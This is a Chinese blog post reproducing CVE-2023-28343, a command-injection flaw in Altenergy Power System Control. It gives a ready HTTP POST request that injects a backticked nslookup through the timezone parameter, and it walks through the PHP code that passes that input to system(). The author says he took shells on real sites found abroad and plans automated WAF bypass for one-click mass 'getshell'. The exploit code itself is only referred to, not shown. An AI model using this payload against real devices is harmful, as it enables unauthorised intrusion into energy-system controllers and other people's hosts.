Altenergy Power System Control命令执行漏洞(CVE-2023-28343)复现


前言

最近看公众号发现有个漏洞CVE-2023-28343 发了一个poc是 timezone=nslookup www.dnslog.cn 我寻思这玩意难道就是回显不了的才能。于是我找国外网站进行复现。拿到了shell并且把代码打包了一份。下载下来仔细研究了一下这套系统是基于mvc开发的。发现了漏洞点。我尝试构造回显。构造成功尝试构造写shell的exp构造成功。我看到某些文章咔咔一顿发。跟风大部分都是这个poc。。。于是乎有了这篇文章。我看github老外也是是反弹shell的。我们能直接getshell 绝不反弹shell。

poc

POST /index.php/management/set_timezone HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 62
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://127.0.0.1/index.php/management/datetime
X-Requested-With: XMLHttpRequest

timezone=`nslookup dns`

漏洞起因

漏洞文件:home\local_web\pages\application\controllers\management.php

public function set_timezone()  //漏洞函数
{  
    $results = $this->management_model->set_timezone(); //漏洞点
    $results["message"] = $this->lang->line("timezone_result_{$results["value"]}");
    echo json_encode($results);
}

继续追踪代码
\home\local_web\pages\application\models\management_model.php

/* 设置时区 */
   public function set_timezone() 
   {
       $results = array();

       //获取页面选择的时区 
       $timezone = $this->input->post('timezone');  //可控点
       if(strlen($timezone) == 0)
       	$timezone = "Asia/Taipei";

       //设置linux系统时区
       $cmd = "cp /usr/share/zoneinfo/$timezone /etc/localtime"; //漏洞点
       system($cmd); //漏洞触发点

       //将时区保存到配置文件
       $fp = @fopen("/etc/yuneng/timezone.conf",'w');
       if($fp){
           fwrite($fp, $timezone);
           fclose($fp);
       }

       //计算ECU本地时间并存入时钟芯片
       date_default_timezone_set($timezone);
       $localtime_assoc = localtime(time(), true);
       $local_time = sprintf("%04d%02d%02d%02d%02d%02d",
                           $localtime_assoc['tm_year'] + 1900,
                           $localtime_assoc['tm_mon'] + 1,
                           $localtime_assoc['tm_mday'],
                           $localtime_assoc['tm_hour'],
                           $localtime_assoc['tm_min'],
                           $localtime_assoc['tm_sec']
                           );
       $fp = @fopen("/dev/rtc2", 'w');
       if ($fp) {
           fwrite($fp, $local_time);
           fclose($fp);
       }

       //重启主函数和客户端函数
       //system("/home/application/ntpapp.exe");
       system("killall main.exe");
       system("killall client");

       $results["value"] = 0;      

   /* 将ECU本地页面变动数据存入数据库 */
       //ECU_id
       $ecuid = "000000000000";
       $fp = @fopen("/etc/yuneng/ecuid.conf",'r');
       if($fp)
       {
           $ecuid = fgets($fp);
           fclose($fp);
       }

       //初始化消息体
       $record = "APS1300000A104AAA0".$ecuid.$local_time."00000000000000".$timezone."END";

       //计算消息长度并加上回车符号
       $record_length = sprintf("%05d", strlen($record));
       $record = substr_replace($record, $record_length, 5, 5);
       $record = $record."\n";

       //将消息保存到数据库
       $sql = "REPLACE INTO process_result (item, result, flag) VALUES(104, '$record', 1)";
       $this->pdo->exec($sql);

       return $results;
   }

从上面代码我们知道漏洞在如何构造回显exp linux的就你们了。

//设置linux系统时区
  $cmd = "cp /usr/share/zoneinfo/$timezone /etc/localtime";
  system($cmd);

回显exp实战

回显实战
回显

武器化自动化getshell

老外写的是执行命令的我们直接上shell。这个getshell稍微有点坎坷。因为这个站点有waf🤣。所以我们的软件大部分漏洞基本都是实战后写的exp。所以对比同软件来说我们很有优势。后续将专注自动化对抗waf 批量一键getshell 对已经的漏洞能直接拿权限的直接拿权限。更新详情。
自动化getshell


文章作者: peiqiF4ck
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peiqiF4ck !
  目录